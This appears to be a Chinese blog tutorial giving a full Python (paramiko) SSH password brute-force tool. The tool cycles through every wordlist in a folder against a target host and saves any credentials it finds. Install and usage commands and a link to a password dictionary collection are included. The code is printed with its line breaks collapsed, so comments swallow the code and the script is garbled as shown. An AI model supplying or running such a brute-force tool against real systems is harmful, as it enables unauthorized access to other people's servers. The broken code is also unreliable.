> 文章列表 > 通过python代码自定义ssh密码爆破

通过python代码自定义ssh密码爆破

通过python代码自定义ssh密码爆破

通过python代码自定义ssh密码爆破

      • 一,这段代码的意义:
      • 二,直接上写好的代码:
      • 三,使用pip3 install paramiko 命令安装库
      • 四,使用 python3 test.py 主机地址 -u 用户名 -p 字典路径/
        • 五,字典的选取

一,这段代码的意义:

大部分爆破工具进行爆破时选择字典时只能选择文件,不能选择文件夹,我们收集来的字典可能很多,不可能一个一个字典来试一下,
所以写这段代码的意义就是解决这个问题,把所有txt文件放在一个文件夹里,只需要给出这个文件夹路径,它就能进行工作

二,直接上写好的代码:

test.py


import os
import paramiko
import argparse
import socket
import time
import sys
def is_ssh_open(hostname, username, password):# 创建ssh对象client = paramiko.SSHClient()# 如果之前没有连接过,会出现Are you sure you want to continue connection(yes/no)# 自动选择yesclient.set_missing_host_key_policy(paramiko.AutoAddPolicy())try:# 建立一次ssh连接client.connect(hostname=hostname, username=username, password=password, timeout=3)  # timeout连接超时#  如果出现错误要怎么处理except socket.timeout:# IP地址不正确或目标主机没开启ssh服务print(f"无法连接主机{hostname},连接超时!")return Falseexcept paramiko.AuthenticationException:print(f'错误的账号密码{username}:{password}')return Falseexcept paramiko.SSHException:print('稍后重试')time.sleep(5)return is_ssh_open(hostname, username, password)else:print(f'主机{hostname}\\tssh账号密码是{username}:{password}')return Truedescription = "例如 python ssh弱口令爆破.py 192.168.1.7 -u root -p 存放txt文件的文件夹路径/"
if __name__ == '__main__':# Python终端控制台执行命令时,选项的设置parser = argparse.ArgumentParser(description=description, usage='python %(prog)s host -u username -p pass_lis.txt')parser.add_argument('host', help='主机名字或者主机IP地址')parser.add_argument('-u', dest='user', help='用户名')parser.add_argument('-p', dest='pass_dir_path', help='密码字典文件夹路径/')# 192.168.1.12# 192.168.1.12 -u root -p /Users/liuhaoran/PycharmProjects/pythonProject/new_building# 如果不输入选项和参数,直接打印帮助信息并退出程序if len(sys.argv) < 2:parser.print_help()sys.exit(1)# 开始解析参数,获取解析结果对象args = parser.parse_args()# 获得结果对象的参数值host = args.hostuser = args.userpath = args.pass_dir_pathif os.path.exists(path):files = os.listdir(path)#  遍历目录下的txt文件for file in files:position=path+fileprint(position)# 读取密码字典,并以回车分割返回一个列表pass_list = open(position).read().splitlines()# 循环密码列表,重复建立不同的ssh连接,直到字典跑完或者找到正确密码为止for password in pass_list:if is_ssh_open(host, user, password):open('ssh.txt', 'w').write(f'{user}@{host}:{password}')break

三,使用pip3 install paramiko 命令安装库

四,使用 python3 test.py 主机地址 -u 用户名 -p 字典路径/

	例如:python3 test.py 192.168.1.12 -u root -p /Users/liuhaoran/PycharmProjects/pythonProject/abc/(不要忘记路径后面的 / )我们在abc 文件夹下随便创建一些文件,把我们的192.168.1.12主机的密码胡乱写进其中一个文件,使用上面的命令进行爆破

通过python代码自定义ssh密码爆破
观察最终运行的结果:
通过python代码自定义ssh密码爆破

五,字典的选取

字典链接https://github.com/k8gege/PasswordDic
把下载好的字典中的所有txt文件都整合到一个文件夹中,多余的其他格式的文件移除掉。